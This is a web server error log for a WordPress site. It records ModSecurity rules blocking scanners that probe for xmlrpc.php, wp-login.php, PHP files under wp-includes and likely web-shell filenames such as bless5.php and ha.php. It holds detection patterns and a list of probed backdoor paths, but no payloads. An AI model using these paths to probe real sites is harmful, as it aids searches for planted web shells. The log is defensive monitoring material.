[Thu Feb 12 02:16:23.735471 2026] [:error] [pid 59768:tid 59785] [client 74.248.120.216:7589] [client 74.248.120.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aYzHdy1wUqEWhF_w6UGzUwAAAA8"]
[Thu Feb 12 02:16:24.808764 2026] [:error] [pid 59768:tid 59771] [client 74.248.120.216:7258] [client 74.248.120.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aYzHeC1wUqEWhF_w6UGzVgAAAAE"]
[Thu Feb 12 02:16:25.851527 2026] [:error] [pid 49095:tid 49163] [client 74.248.120.216:7583] [client 74.248.120.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aYzHeYDzbTIrmslQGKTuxQAAAQo"]
[Thu Feb 12 02:16:26.898171 2026] [:error] [pid 59768:tid 59777] [client 74.248.120.216:7253] [client 74.248.120.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aYzHei1wUqEWhF_w6UGzWwAAAAc"]
[Thu Feb 12 09:14:52.222637 2026] [proxy_fcgi:error] [pid 50254:tid 50259] [client 172.213.210.252:44777] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 09:14:52.463272 2026] [proxy_fcgi:error] [pid 50254:tid 50268] [client 172.213.210.252:44777] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 09:14:52.704332 2026] [proxy_fcgi:error] [pid 50254:tid 50278] [client 172.213.210.252:44777] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 13:59:15.178181 2026] [:error] [pid 60619:tid 60624] [client 163.61.67.100:57510] [client 163.61.67.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.67.100, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY1sM0WmS0KSFtjY-wZxAQAAAAM"]
[Thu Feb 12 13:59:15.188566 2026] [proxy_fcgi:error] [pid 60619:tid 60624] [client 163.61.67.100:57510] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 15:41:47.512360 2026] [:error] [pid 21527:tid 21531] [client 173.46.94.195:22450] [client 173.46.94.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.46.94.195, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY2EOyaer9JPUXlMLuGDWQAAAAI"]
[Thu Feb 12 15:41:47.524419 2026] [proxy_fcgi:error] [pid 21527:tid 21531] [client 173.46.94.195:22450] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 15:41:49.529076 2026] [:error] [pid 21527:tid 21546] [client 198.56.0.65:16994] [client 198.56.0.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.56.0.65, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY2EPSaer9JPUXlMLuGDZgAAABE"]
[Thu Feb 12 15:41:49.536098 2026] [proxy_fcgi:error] [pid 21527:tid 21546] [client 198.56.0.65:16994] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 15:41:51.505346 2026] [:error] [pid 21527:tid 21550] [client 67.227.90.17:6386] [client 67.227.90.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.227.90.17, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY2EPyaer9JPUXlMLuGDbgAAABU"]
[Thu Feb 12 15:41:51.510435 2026] [proxy_fcgi:error] [pid 21527:tid 21550] [client 67.227.90.17:6386] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 15:41:53.334933 2026] [:error] [pid 21527:tid 21531] [client 198.56.5.246:3044] [client 198.56.5.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.56.5.246, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aY2EQSaer9JPUXlMLuGDcQAAAAI"]
[Thu Feb 12 15:41:53.341339 2026] [proxy_fcgi:error] [pid 21527:tid 21531] [client 198.56.5.246:3044] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 15:54:27.910998 2026] [:error] [pid 21433:tid 21476] [client 157.254.71.175:5222] [client 157.254.71.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.254.71.175, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY2HM9c_9AdG3uAKpzvIXQAAAYY"]
[Thu Feb 12 15:54:27.921630 2026] [proxy_fcgi:error] [pid 21433:tid 21476] [client 157.254.71.175:5222] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 15:54:30.283495 2026] [:error] [pid 21433:tid 21479] [client 152.232.235.124:12108] [client 152.232.235.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.232.235.124, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY2HNtc_9AdG3uAKpzvIZQAAAYk"]
[Thu Feb 12 15:54:30.289769 2026] [proxy_fcgi:error] [pid 21433:tid 21479] [client 152.232.235.124:12108] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 15:54:32.328701 2026] [:error] [pid 21527:tid 21542] [client 173.211.51.61:23974] [client 173.211.51.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.211.51.61, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY2HOCaer9JPUXlMLuGN2gAAAA0"]
[Thu Feb 12 15:54:32.337140 2026] [proxy_fcgi:error] [pid 21527:tid 21542] [client 173.211.51.61:23974] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 15:54:35.712453 2026] [:error] [pid 21431:tid 21455] [client 95.163.149.109:24860] [client 95.163.149.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.163.149.109, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aY2HO5gxKQsNF5X8gtRjzwAAANM"]
[Thu Feb 12 15:54:35.718638 2026] [proxy_fcgi:error] [pid 21431:tid 21455] [client 95.163.149.109:24860] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:05:32.609457 2026] [proxy_fcgi:error] [pid 63418:tid 63492] [client 20.215.248.189:54865] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:05:33.740354 2026] [:error] [pid 63418:tid 63491] [client 20.215.248.189:54865] [client 20.215.248.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aY2l7dzjh-bbJnStPZKgwQAAAI8"]
[Thu Feb 12 18:05:35.411517 2026] [proxy_fcgi:error] [pid 65064:tid 65077] [client 20.215.248.189:49119] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:05:36.200753 2026] [:error] [pid 65064:tid 65090] [client 20.215.248.189:49119] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aY2l8BOvRgscTcqsMBmRPAAAANc"]
[Thu Feb 12 18:05:37.075249 2026] [:error] [pid 63511:tid 63529] [client 20.215.248.189:47382] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aY2l8aQCQbD5BgeyIk3N3QAAABA"]
[Thu Feb 12 18:05:38.709656 2026] [:error] [pid 63418:tid 63477] [client 20.215.248.189:38079] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aY2l8tzjh-bbJnStPZKgxgAAAIE"]
[Thu Feb 12 18:05:40.957109 2026] [:error] [pid 63417:tid 63458] [client 20.215.248.189:50105] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aY2l9P8gSb97qRMtXCKpyAAAAEk"]
[Thu Feb 12 18:05:45.957810 2026] [:error] [pid 63417:tid 63465] [client 20.215.248.189:49106] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aY2l-f8gSb97qRMtXCKp4wAAAFA"]
[Thu Feb 12 18:05:46.595289 2026] [:error] [pid 63417:tid 63471] [client 20.215.248.189:40551] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aY2l-v8gSb97qRMtXCKp6AAAAFY"]
[Thu Feb 12 18:05:47.808367 2026] [:error] [pid 63418:tid 63480] [client 20.215.248.189:49144] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aY2l-9zjh-bbJnStPZKg2QAAAIQ"]
[Thu Feb 12 18:05:49.204209 2026] [:error] [pid 63418:tid 63483] [client 20.215.248.189:49112] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aY2l_dzjh-bbJnStPZKg3QAAAIc"]
[Thu Feb 12 18:05:51.005406 2026] [:error] [pid 63511:tid 63534] [client 20.215.248.189:45743] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aY2l_6QCQbD5BgeyIk3N-QAAABU"]
[Thu Feb 12 18:05:53.391153 2026] [:error] [pid 65064:tid 65068] [client 20.215.248.189:36026] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aY2mAROvRgscTcqsMBmRUgAAAME"]
[Thu Feb 12 18:05:55.046380 2026] [:error] [pid 65064:tid 65071] [client 20.215.248.189:38017] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aY2mAxOvRgscTcqsMBmRVwAAAMQ"]
[Thu Feb 12 18:05:57.155722 2026] [:error] [pid 63416:tid 63432] [client 20.215.248.189:36007] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aY2mBb2wmecPaCHcM2-HvwAAAYs"]
[Thu Feb 12 18:05:59.187938 2026] [:error] [pid 63417:tid 63460] [client 20.215.248.189:50105] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aY2mB_8gSb97qRMtXCKp-gAAAEs"]
[Thu Feb 12 18:06:00.496437 2026] [:error] [pid 63417:tid 63453] [client 20.215.248.189:37704] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aY2mCP8gSb97qRMtXCKp_AAAAEQ"]
[Thu Feb 12 18:06:01.696601 2026] [:error] [pid 63416:tid 63441] [client 20.215.248.189:50095] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aY2mCb2wmecPaCHcM2-HxgAAAZQ"]
[Thu Feb 12 18:06:04.290710 2026] [:error] [pid 63418:tid 63496] [client 20.215.248.189:42750] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aY2mDNzjh-bbJnStPZKg9QAAAJQ"]
[Thu Feb 12 18:06:06.778523 2026] [:error] [pid 63416:tid 63435] [client 20.215.248.189:38076] [client 20.215.248.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aY2mDr2wmecPaCHcM2-HzwAAAY4"]
[Thu Feb 12 18:06:08.701119 2026] [:error] [pid 63416:tid 63445] [client 20.215.248.189:35242] [client 20.215.248.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aY2mEL2wmecPaCHcM2-H0wAAAZg"]
[Thu Feb 12 18:06:10.159191 2026] [:error] [pid 63416:tid 63438] [client 20.215.248.189:50106] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aY2mEr2wmecPaCHcM2-H1QAAAZE"]
[Thu Feb 12 18:06:11.550454 2026] [:error] [pid 65064:tid 65090] [client 20.215.248.189:35230] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aY2mExOvRgscTcqsMBmRkgAAANc"]
[Thu Feb 12 18:06:14.725738 2026] [:error] [pid 65064:tid 65076] [client 20.215.248.189:50619] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aY2mFhOvRgscTcqsMBmRnwAAAMk"]
[Thu Feb 12 18:06:16.429515 2026] [:error] [pid 63418:tid 63491] [client 20.215.248.189:41929] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aY2mGNzjh-bbJnStPZKhCwAAAI8"]
[Thu Feb 12 18:06:17.587945 2026] [:error] [pid 63418:tid 63496] [client 20.215.248.189:50608] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aY2mGdzjh-bbJnStPZKhDwAAAJQ"]
[Thu Feb 12 18:06:19.232001 2026] [:error] [pid 63511:tid 63519] [client 20.215.248.189:37484] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aY2mG6QCQbD5BgeyIk3OQAAAAAY"]
[Thu Feb 12 18:06:22.393096 2026] [:error] [pid 63511:tid 63533] [client 20.215.248.189:3967] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aY2mHqQCQbD5BgeyIk3OSAAAABQ"]
[Thu Feb 12 18:06:25.616185 2026] [:error] [pid 63417:tid 63468] [client 20.215.248.189:56948] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aY2mIf8gSb97qRMtXCKqLQAAAFM"]
[Thu Feb 12 18:06:28.186705 2026] [:error] [pid 63511:tid 63518] [client 20.215.248.189:37505] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aY2mJKQCQbD5BgeyIk3OYAAAAAU"]
[Thu Feb 12 18:06:30.985138 2026] [:error] [pid 63511:tid 63531] [client 20.215.248.189:58633] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aY2mJqQCQbD5BgeyIk3OZwAAABI"]
[Thu Feb 12 18:06:33.781644 2026] [:error] [pid 63416:tid 63434] [client 20.215.248.189:37534] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aY2mKb2wmecPaCHcM2-IDgAAAY0"]
[Thu Feb 12 18:06:36.604901 2026] [proxy_fcgi:error] [pid 63416:tid 63433] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:36.866169 2026] [proxy_fcgi:error] [pid 63416:tid 63421] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:37.147904 2026] [proxy_fcgi:error] [pid 63416:tid 63443] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:37.440464 2026] [proxy_fcgi:error] [pid 63416:tid 63435] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:37.708414 2026] [proxy_fcgi:error] [pid 63416:tid 63436] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:37.968764 2026] [proxy_fcgi:error] [pid 63416:tid 63432] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:38.232247 2026] [proxy_fcgi:error] [pid 63416:tid 63440] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:38.490748 2026] [proxy_fcgi:error] [pid 63416:tid 63430] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:38.751803 2026] [proxy_fcgi:error] [pid 63416:tid 63438] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:39.326848 2026] [proxy_fcgi:error] [pid 63416:tid 63442] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:39.587219 2026] [proxy_fcgi:error] [pid 63416:tid 63424] [client 20.215.248.189:37531] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 18:06:39.848898 2026] [:error] [pid 63416:tid 63433] [client 20.215.248.189:37531] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aY2mL72wmecPaCHcM2-IIwAAAYw"]
[Thu Feb 12 18:06:42.605019 2026] [:error] [pid 65064:tid 65076] [client 20.215.248.189:36293] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aY2mMhOvRgscTcqsMBmR2QAAAMk"]
[Thu Feb 12 18:06:43.636043 2026] [:error] [pid 63417:tid 63464] [client 20.215.248.189:57306] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aY2mM_8gSb97qRMtXCKqWwAAAE8"]
[Thu Feb 12 18:06:44.720104 2026] [:error] [pid 63416:tid 63422] [client 20.215.248.189:57315] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aY2mNL2wmecPaCHcM2-ILgAAAYE"]
[Thu Feb 12 18:06:45.845952 2026] [:error] [pid 63417:tid 63450] [client 20.215.248.189:58161] [client 20.215.248.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aY2mNf8gSb97qRMtXCKqYQAAAEE"]
